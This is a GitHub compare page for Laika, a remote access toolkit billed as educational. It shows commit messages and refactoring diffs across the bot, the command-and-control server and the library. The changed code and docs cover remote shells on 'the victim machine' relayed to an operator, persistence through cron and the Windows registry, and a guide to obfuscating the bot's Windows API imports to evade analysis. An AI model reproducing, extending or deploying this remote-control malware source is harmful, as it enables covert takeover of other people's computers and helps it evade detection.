1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-11-18 10:20:08 +00:00

Compare commits

..

19 Commits

Author SHA1 Message Date
7c4a5ddc8c VMBoxGen: minor refactoring 2022-10-08 18:32:33 -05:00
5076e4c7b9 updated to latest libsodium version 2022-10-08 18:09:16 -05:00
a1c49edda1 updated README 2022-10-06 23:22:24 -05:00
0adfdc0ace stale comment 2022-10-05 20:47:23 -05:00
3316c77667 minor 'DEBUG' refactoring
- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h
- LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well
2022-10-05 20:36:49 -05:00
7ec814525c minor refactoring 2022-09-29 16:36:19 -05:00
490fcec4e7 minor formatting changes 2022-09-07 18:42:04 -05:00
674ea2b47b lmem.[ch]: removed inlined functions
- fixes some builds
2022-09-07 17:53:49 -05:00
6ab280d010 lsocket.[ch]: refactored writeInt && readInt
- switched to laikaS_readu* && laikaS_writeu*
- this gets rid of the ugly malloc() for platforms that don't support VLAs
2022-09-07 17:53:49 -05:00
dc91a207b1 Update README.md 2022-09-07 03:11:01 -05:00
257a50e817 CONTRIB: ltask.c should probably be reviewed lol 2022-09-03 00:56:17 -05:00
d015eec5f1 updated CONTRIB 2022-09-01 20:15:35 -05:00
cf01657cc2 fixes for winblows 2022-09-01 20:07:29 -05:00
587d9a26e5 lpolllist.c: fix poll ifdef paths 2022-09-01 20:04:54 -05:00
b23057b219 Refactoring: reorganized files 2022-09-01 20:00:37 -05:00
169313ee39 shell: migrated to new vector API
- removed array API from lmem.h
- sterm.c: basically left as-is. see source for notes as to why
2022-09-01 19:35:52 -05:00
44086f563b cnc: migrate to new vector API 2022-09-01 19:12:13 -05:00
13398dbdf6 lsocket.[ch] & lpeer.c: migrated to new vector API 2022-09-01 19:05:56 -05:00
af09e74263 lmem.h: new laikaM_*Vector macros
- these will slowly replace laikaM_*array
- lpeer.[ch] has been migrated
2022-09-01 18:47:29 -05:00
68 changed files with 1074 additions and 963 deletions

View File

@@ -89,9 +89,9 @@ add_subdirectory(tools/vmboxgen)
# compile laikalib, tools, cnc & bot
add_subdirectory(lib)
add_subdirectory(tools)
add_subdirectory(bot)
# these subprojects don't support windows (sorry)
add_subdirectory(bot) # windows support Soon:tm:
if(NOT WIN32 AND (UNIX AND NOT APPLE))
add_subdirectory(cnc)
add_subdirectory(shell)

View File

@@ -16,8 +16,8 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
- Fix address sanitizer for CMake DEBUG builds
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features
- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h`
- Change laikaT_getTime in `lib/src/core/ltask.c` to not use C11 features and maybe review my linked list implementation :(
- Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`s
- Import more WinAPI manually using the method listed below
## Bot: Windows API Imports Obfuscation
@@ -63,7 +63,7 @@ If the `real` & `hashed` match, that means our manual runtime import and the imp
Now just replace all of the calls to the raw WinAPI (in our case, ShellExecuteA) with our new manually imported oShellExecuteA function pointer. Format & commit your changes, and open a PR and I'll merge your changes. Thanks!
## Lib: Error Handling
Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
Error handling in Laika is done via the 'lib/core/lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp() & longjmp(). The LAIKA_ERROR(...) macro is used to throw errors.
Example:
```C
@@ -84,15 +84,13 @@ Some minor inconveniences include:
- not thread safe.
## Lib: Packet Handlers
Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
Laika has a simple binary protocol & a small backend (see `lib/src/net/lpeer.c`) to handle packets to/from peers. `lib/include/net/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
## Lib: Task Service
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
## Lib: VM Boxes
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/core/lvm.h`, for information on how to use them read `lib/include/core/lbox.h`. Feel free to write your own boxes and contribute them :D
## Bot: Platform-specific backends
`bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys.

View File

@@ -12,20 +12,17 @@ Laika is a simple cross-platform Remote Access Toolkit stack for educational pur
Some notable features thus far:
- [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
- [X] Server and Shell configuration through `.ini` files.
- [X] Ability to open shells remotely on the victim's machine.
- [X] CNC and Shell configuration through `.ini` files.
- [X] Open shells remotely on the victim machine.
- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
- [X] Persistence via Cron on Linux-based systems.
- [X] Persistence via Windows Registry.
- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
- [ ] Simple configuration using CMake:
- [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
- [X] Setting keypairs (`-DLAIKA_CNC_IP=? -DLAIKA_CNC_PORT=?`, etc.)
- [X] Enabling/Disabling Obfuscation (`-DLAIKA_OBFUSCATE=On`)
- [ ] Obfuscation modes
## Why?
I started this project to practice my systems programming skills, specifically networking related things. The networking code in this project (under `/lib`) is probably what I'm most proud of in this project. After that I started trying to learn some common obfuscation methods I've seen used in the wild. I've used this project mostly to improve my skills of managing a 'larger' project. Things relating to having a consistent code style, documenting features and development tasks are really important skills to have when managing a codebase like this.
## How do I use this?
Please refer to the [Wiki](https://github.com/CPunch/Laika/wiki) for any questions relating to deployment, compilation & setup.

View File

@@ -30,9 +30,6 @@ if(LAIKA_OBFUSCATE)
add_dependencies(LaikaBot VMBoxGen)
endif ()
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})

View File

@@ -1,13 +1,13 @@
#ifndef LAIKA_BOT_H
#define LAIKA_BOT_H
#include "core/lsodium.h"
#include "core/ltask.h"
#include "laika.h"
#include "lpacket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
struct sLaika_shell;
struct sLaika_bot

View File

@@ -2,7 +2,7 @@
#define LAIKA_SHELL_H
#include "laika.h"
#include "lpacket.h"
#include "net/lpacket.h"
#include <time.h>

View File

@@ -1,10 +1,10 @@
/* platform specific code for achieving persistence on linux */
#include "lbox.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "net/lsocket.h"
#include "persist.h"
#include <pwd.h>

View File

@@ -1,9 +1,9 @@
/* platform specific code for opening shells in linux */
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "shell.h"
#include <pty.h>
@@ -73,7 +73,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
if (rd > 0) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else if (rd == -1) {

View File

@@ -1,9 +1,9 @@
#include "bot.h"
#include "lbox.h"
#include "lerror.h"
#include "lmem.h"
#include "lsodium.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
@@ -12,7 +12,7 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);

View File

@@ -1,16 +1,20 @@
#include "bot.h"
#include "lbox.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/ltask.h"
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "lobf.h"
#include "persist.h"
#include "shell.h"
#include <stdio.h>
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
retrying to connect to the CNC server */
#define LAIKA_RETRY_CONNECT 5
#ifdef _WIN32
# ifndef DEBUG
# ifndef LAIKA_DEBUG_BUILD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
# else
@@ -54,9 +58,9 @@ int main()
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
# ifdef _WIN32
Sleep(5000);
Sleep(LAIKA_RETRY_CONNECT*1000);
# else
sleep(5);
sleep(LAIKA_RETRY_CONNECT);
# endif
} while (1);

View File

@@ -1,8 +1,8 @@
#include "shell.h"
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include <inttypes.h>
#include <stdio.h>
@@ -28,7 +28,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
/* tell cnc shell is closed */
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&bot->peer->sock, id);
laikaS_endOutPacket(bot->peer);
laikaB_freeRAWShell(bot, shell);
@@ -51,9 +51,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id;
uint16_t cols, rows;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
id = laikaS_readu32(&peer->sock);
cols = laikaS_readu16(&peer->sock);
rows = laikaS_readu16(&peer->sock);
/* check if shell is already open */
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
@@ -62,7 +62,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* open shell & if we failed, tell cnc */
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&bot->peer->sock, id);
laikaS_endOutPacket(bot->peer);
}
}
@@ -73,7 +73,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
struct sLaika_shell *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* check if shell is not running */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
@@ -91,7 +91,7 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id;
/* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */

View File

@@ -6,11 +6,11 @@
#pragma comment(lib, "Shlwapi.lib")
#include "lbox.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lvm.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "lobf.h"
#include "persist.h"

View File

@@ -1,8 +1,8 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lobf.h"
#include "lerror.h"
#include "lmem.h"
#include "shell.h"
#include <process.h>
@@ -184,7 +184,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
if (readSucc) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {

View File

@@ -13,8 +13,5 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
target_link_libraries(LaikaCNC PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})

View File

@@ -2,7 +2,7 @@
#define LAIKA_CNC_PANEL_H
#include "cnc.h"
#include "lpeer.h"
#include "net/lpeer.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);

View File

@@ -1,13 +1,14 @@
#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "hashmap.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "laika.h"
#include "lpacket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "ltask.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
@@ -20,12 +21,8 @@ struct sLaika_cnc
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
int authKeysCap;
int authPeersCount;
int authPeersCap;
laikaM_newVector(struct sLaika_peer *, authPeers); /* holds connected panel peers */
laikaM_newVector(uint8_t *, authKeys);
uint16_t port;
};

View File

@@ -2,10 +2,10 @@
#define LAIKA_CNC_PEER_H
#include "laika.h"
#include "lpacket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
struct sLaika_peerInfo
{

View File

@@ -1,9 +1,9 @@
#include "cpanel.h"
#include "cauth.h"
#include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
@@ -65,8 +65,8 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
/* read term size */
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
cols = laikaS_readu16(&authPeer->sock);
rows = laikaS_readu16(&authPeer->sock);
/* open shell */
laikaC_openShell(peer, authPeer, cols, rows);
@@ -80,7 +80,7 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
struct sLaika_shellInfo *shell;
uint32_t id;
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&authPeer->sock);
/* ignore malformed packet */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
@@ -102,7 +102,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&authPeer->sock);
sz -= sizeof(uint32_t);
/* ignore malformed packet */
@@ -116,7 +116,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
/* forward to peer */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeu32(&peer->sock, shell->botShellID);
laikaS_write(&peer->sock, data, sz);
laikaS_endVarPacket(peer);
}

View File

@@ -1,12 +1,12 @@
#include "cnc.h"
#include "cpanel.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "cauth.h"
#include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
#include "net/lsocket.h"
/* ======================================[[ PeerHashMap ]]======================================= */
@@ -83,7 +83,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* queue response */
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_writeByte(&peer->sock, laikaM_isBigEndian());
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
@@ -161,12 +161,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port)
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
cnc->authKeysCap = 4;
cnc->authPeersCap = 4;
cnc->authPeersCount = 0;
laikaM_initVector(cnc->authPeers, 4);
laikaM_initVector(cnc->authKeys, 4);
cnc->port = port;
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
@@ -207,7 +203,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc)
hashmap_free(cnc->peers);
/* free auth keys */
for (i = 0; i < cnc->authKeysCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authKeys); i++) {
laikaM_free(cnc->authKeys[i]);
}
laikaM_free(cnc->authKeys);
@@ -222,7 +218,7 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
/* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->authPeersCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
laikaC_sendNewPeer(cnc->authPeers[i], peer);
}
@@ -273,7 +269,7 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
}
/* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->authPeersCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
}
@@ -316,11 +312,10 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
cnc->authPeersCap);
laikaM_growVector(struct sLaika_peer *, cnc->authPeers, 1);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
cnc->authPeers[laikaM_countVector(cnc->authPeers)++] = authPeer;
LAIKA_DEBUG("added panel %p!\n", authPeer);
}
@@ -329,9 +324,9 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
int i;
for (i = 0; i < cnc->authPeersCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */
laikaM_rmvarray(cnc->authPeers, cnc->authPeersCount, i, 1);
laikaM_rmvVector(cnc->authPeers, i, 1);
return;
}
}
@@ -340,14 +335,14 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{
uint8_t *buf;
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
laikaM_growVector(uint8_t *, cnc->authKeys, 1);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL))
LAIKA_ERROR("Failed to load key '%s'\n", key);
/* insert key */
cnc->authKeys[cnc->authKeysCount++] = buf;
cnc->authKeys[laikaM_countVector(cnc->authKeys)++] = buf;
printf("[~] Added authenticated public key '%s'\n", key);
}
@@ -455,7 +450,7 @@ bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer
{
tCNC_PeerHashElem *elem;
if (hashmap_iter(cnc->peers, i, (void *)&elem)) {
if (hashmap_iter(cnc->peers, i, (void **)&elem)) {
*peer = elem->peer;
return true;
}

View File

@@ -1,8 +1,8 @@
#include "cpeer.h"
#include "cnc.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
/* =======================================[[ Peer Info ]]======================================= */
@@ -88,15 +88,15 @@ struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika
/* send SHELL_OPEN packets */
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t));
laikaS_writeu32(&bot->sock, shell->botShellID);
laikaS_writeu16(&bot->sock, cols);
laikaS_writeu16(&bot->sock, rows);
laikaS_endOutPacket(bot);
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t));
laikaS_writeu32(&auth->sock, shell->authShellID);
laikaS_writeu16(&auth->sock, cols);
laikaS_writeu16(&auth->sock, rows);
laikaS_endOutPacket(auth);
return shell;
@@ -106,11 +106,11 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell)
{
/* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeu32(&shell->bot->sock, shell->botShellID);
laikaS_endOutPacket(shell->bot);
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
laikaS_endOutPacket(shell->auth);
/* unlink */
@@ -155,7 +155,7 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
break;
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, laikaM_countVector(cnc->authKeys)))
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
@@ -175,7 +175,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
struct sLaika_shellInfo *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* ignore packet if shell isn't open */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
@@ -196,7 +196,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* ignore packet if shell isn't open */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
@@ -206,7 +206,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
}

View File

@@ -1,7 +1,7 @@
#include "cnc.h"
#include "ini.h"
#include "core/ini.h"
#include "core/ltask.h"
#include "lconfig.h"
#include "ltask.h"
#include <stdio.h>

View File

@@ -8,7 +8,7 @@ project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile LaikaLib library
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
# include platform specific backends
@@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
# make sure we're compiled *AFTER* lboxconfig.h has been generated
add_dependencies(LaikaLib VMBoxGen)
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add the version definitions
target_compile_definitions(LaikaLib PUBLIC)
# add include directory
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)

View File

@@ -16,30 +16,29 @@ https://github.com/benhoyt/inih
/* Make this header file easier to include in C++ code */
#ifdef __cplusplus
extern "C" {
extern "C"
{
#endif
#include <stdio.h>
/* Nonzero if ini_handler callback should accept lineno parameter. */
#ifndef INI_HANDLER_LINENO
#define INI_HANDLER_LINENO 0
# define INI_HANDLER_LINENO 0
#endif
/* Typedef for prototype of handler function. */
#if INI_HANDLER_LINENO
typedef int (*ini_handler)(void* user, const char* section,
const char* name, const char* value,
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value,
int lineno);
#else
typedef int (*ini_handler)(void* user, const char* section,
const char* name, const char* value);
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value);
#endif
/* Typedef for prototype of fgets-style reader function. */
typedef char* (*ini_reader)(char* str, int num, void* stream);
/* Typedef for prototype of fgets-style reader function. */
typedef char *(*ini_reader)(char *str, int num, void *stream);
/* Parse given INI-style file. May have [section]s, name=value pairs
/* Parse given INI-style file. May have [section]s, name=value pairs
(whitespace stripped), and comments starting with ';' (semicolon). Section
is "" if name=value pair parsed before any section heading. name:value
pairs are also supported as a concession to Python's configparser.
@@ -51,94 +50,93 @@ typedef char* (*ini_reader)(char* str, int num, void* stream);
Returns 0 on success, line number of first error on parse error (doesn't
stop on first error), -1 on file open error, or -2 on memory allocation
error (only when INI_USE_STACK is zero).
*/
